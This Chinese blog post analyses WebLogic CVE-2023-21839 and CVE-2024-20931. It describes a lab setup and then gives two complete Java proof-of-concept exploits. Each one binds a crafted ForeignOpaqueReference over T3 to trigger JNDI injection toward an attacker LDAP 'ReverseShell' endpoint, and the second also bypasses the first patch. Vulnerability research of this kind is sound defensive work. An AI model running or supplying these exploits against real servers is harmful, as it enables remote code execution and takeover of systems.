• weblogic CVE-2024-20931分析


    weblogic 12.2.1.4.0安装

    我的环境:ubuntu 22.04 + weblogic 12.2.1.4.0 + jdk8(注:weblogic不支持OpenJDK)
    jdk下载安装:https://www.oracle.com/cn/java/technologies/downloads/archive/
    weblogic下载安装:https://www.oracle.com/middleware/technologies/weblogic-server-installers-downloads.html

    JDK安装完成后装weblogic,简单配置账号密码等,一路下一步即可。

    poc依赖包

    wlfullclient.jar 包含了与 WebLogic Server 实例交互所需的客户端库。这些库提供了连接到 WebLogic Server、执行各种操作以及访问资源(如 JNDI、JMS、JDBC 等)所需的 API 和类。使用 wlfullclient.jar 文件时,通常需要将其包含在 Java 项目的类路径中。这样,您的应用程序就可以访问 WebLogic Server 客户端 API,并利用 WebLogic Server 提供的功能。

    如何生成wlfullclient.jar?

    java -jar /home/vpanda/Oracle/Middleware/Oracle_Home/wlserver/modules/com.bea.core.jarbuilder.jar
    
    cd /home/vpanda/Oracle/Middleware/Oracle_Home/wlserver/server/lib/
    #生成后在poc的时候作为client依赖包导入
    

    weblogic远程debug调试环境

    在setDomainEnv.sh添加,开启远程调试端口9999

    debugFlag=true
    DEBUG_PORT=9999
    

    打包wlserver在调试环境导入项目后添加Remote JVM Debug

    T3/IIOP协议

    WebLogic T3/IIOP(T3 over IIOP)协议是 Oracle WebLogic Server 使用的一种通信协议。它结合了 WebLogic Server 的 T3 协议和 OMG(Object Management Group)定义的 IIOP(Internet Inter-ORB Protocol)协议。

    T3 是 WebLogic Server 的专有协议,用于在 WebLogic Server 节点之间进行通信。它提供了高性能、可靠的通信机制,支持各种服务和功能,如远程方法调用(RMI)、Java Messaging Service(JMS)等。T3 协议是 WebLogic Server 的核心协议,用于实现集群、负载均衡、故障恢复等关键功能。

    协议支持远程绑定对象(Remote Object Binding)到服务端。通过远程绑定,您可以将一个对象绑定到 WebLogic Server 上的命名服务(Naming Service),使得其他客户端可以通过名称来访问和使用该对象。

    WebLogic Server 提供了 JNDI(Java Naming and Directory Interface)作为命名服务的实现。JNDI 是 Java 平台的标准 API,用于访问和管理命名和目录服务。通过 JNDI,您可以在 WebLogic Server 上创建和管理命名空间,并在其中绑定对象。

    要将一个对象绑定到 WebLogic Server 上的命名服务,您需要执行以下步骤:

    1. 在 WebLogic Server 上配置和启动 JNDI 服务。这可以通过 WebLogic Server 的管理控制台或配置文件进行设置。
    2. 在客户端代码中,创建一个要绑定的对象,并将其绑定到 JNDI 上下文(Context)。您可以使用 Java 的 RMI(Remote Method Invocation)或其他远程调用机制来实现对象的远程访问。
    3. 在客户端代码中,通过 JNDI API 获取到 WebLogic Server 上的 JNDI 上下文。
    4. 在客户端代码中,使用 JNDI API 将对象绑定到 JNDI 上下文中的特定名称。
    5. 在客户端代码中,其他客户端可以通过 JNDI API 在 WebLogic Server 上查找并获取绑定的对象。

    通过这种方式,您可以在 WebLogic Server 上实现对象的远程绑定,并使得其他客户端能够通过名称来访问和使用这些对象。这种方式非常适用于分布式系统和企业应用集成,可以实现跨平台、跨语言的对象通信和共享。

    代码示例:

    import javax.naming.Context;
    import javax.naming.InitialContext;
    import java.util.Properties;
    
    public class RemoteBindingExample {
        public static void main(String[] args) {
            try {
                // 设置 WebLogic Server 的连接属性
                Properties props = new Properties();
                props.setProperty(Context.INITIAL_CONTEXT_FACTORY, "weblogic.jndi.WLInitialContextFactory");
                props.setProperty(Context.PROVIDER_URL, "t3://localhost:7001");
    
                // 创建 JNDI 上下文
                Context context = new InitialContext(props);
    
                // 创建要绑定的对象
                MyRemoteObject remoteObject = new MyRemoteObject();
    
                // 将对象绑定到 JNDI 上下文中的特定名称
                context.rebind("myObject", remoteObject);
    
                System.out.println("对象绑定成功!");
    
                // 关闭 JNDI 上下文
                context.close();
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    }
    
    

    CVE-2023-21839

    如果我们将remoteObject替换成一个ForeignOpaqueReference对象,由于ForeignOpaqueReference集成自OpaqueReference,进行lookup的时候会调用对象getReferent方法。最终会调用context.lookup(evalMacros(this.remoteJNDIName));

    对remoteJNDIName值更改为ldap远程执行地址即可实现RCE。

    另外加上jndiEnvironment的检测,所以ForeignOpaqueReference对象绑定时候,对remoteJNDIName值做反射修改即可。

    package org.example.CVE202321839;
    import weblogic.deployment.jms.ForeignOpaqueReference;
    
    import javax.naming.Context;
    import javax.naming.InitialContext;
    import java.lang.reflect.Field;
    import java.util.Hashtable;
    import java.util.Properties;
    
    public class Main {
        public static void main(String[] args) throws Exception {
    
            Properties props = new Properties();
            props.setProperty(Context.INITIAL_CONTEXT_FACTORY, "weblogic.jndi.WLInitialContextFactory");
            props.setProperty(Context.PROVIDER_URL, "t3://192.168.131.139:7001");
    
            Context context = new InitialContext(props);
    
            ForeignOpaqueReference f = new ForeignOpaqueReference();
    
            Field remoteJNDIName = ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");
            remoteJNDIName.setAccessible(true);
            String ldap = "ldap://xxxxxx:1389/Basic/ReverseShell/xxxx/12345";
            remoteJNDIName.set(f, ldap);
    
            context.rebind("sectest", f);
            try {
                context.lookup("sectest");
            } catch (Exception e) {
            }
        }
    }
    

    CVE-2023-21839补丁限制

    补丁对ForeignOpaqueReference的jndiEnvironment和remoteJNDIName都做了限制。

    CVE-2024-20931

    INITIAL_CONTEXT_FACTORY 是 JNDI API 中的一个常量,用于指定要使用的初始上下文工厂类。它在创建 JNDI 上下文对象时使用,用于指定要使用的上下文工厂类。AQjmsInitialContextFactory在初始化的时候,需要通过JNDI去获取远程的DataSource,通过这个初始化也可以发起JNDI注入。

    package org.example.CVE202420931;
    import weblogic.deployment.jms.ForeignOpaqueReference;
    
    import javax.naming.Context;
    import javax.naming.InitialContext;
    import java.lang.reflect.Field;
    import java.util.Hashtable;
    import java.util.Properties;
    
    public class Main {
        public static void main(String[] args) throws Exception {
    
            Properties props = new Properties();
            props.setProperty(Context.INITIAL_CONTEXT_FACTORY, "weblogic.jndi.WLInitialContextFactory");
            props.setProperty(Context.PROVIDER_URL, "t3://192.168.131.139:7001");
    
            Context context = new InitialContext(props);
    
            Hashtable env2 = new Hashtable();
            env2.put("java.naming.factory.initial", "oracle.jms.AQjmsInitialContextFactory");
            env2.put("datasource", "ldap://xxxxx:1389/Basic/ReverseShell/xxxx/12347");
            ForeignOpaqueReference f = new ForeignOpaqueReference();
            Field jndiEnvironment = ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");
            jndiEnvironment.setAccessible(true);
            jndiEnvironment.set(f, env2);
    
            context.rebind("sectest", f);
            try {
                context.lookup("sectest");
            } catch (Exception e) {
            }
        }
    }
    

    参考链接:

    1.https://www.oracle.com/security-alerts/cpujan2024verbose.html

    2.https://glassyamadeus.github.io/2024/01/31/CVE_2024_20931/

    更多关于云计算与安全内容,请关注公众号

  • 相关阅读:
    分布式id生成方案有哪些
    Mysql数据库 8.SQL语言 外键约束
    NodeJS Session&Token验证⑧
    961题库 北航计算机 计算机网络 附答案 简答题形式
    jQuery
    JAVA基础相关知识点(二)
    linux环境安装redis(亲测完成)
    requests库的使用(一篇就够了)
    我想外包开发一个预约类小程序,大概需要多少钱?
    第六章 dubbo接口测试
  • 原文地址:https://www.cnblogs.com/vpandaxjl/p/18026030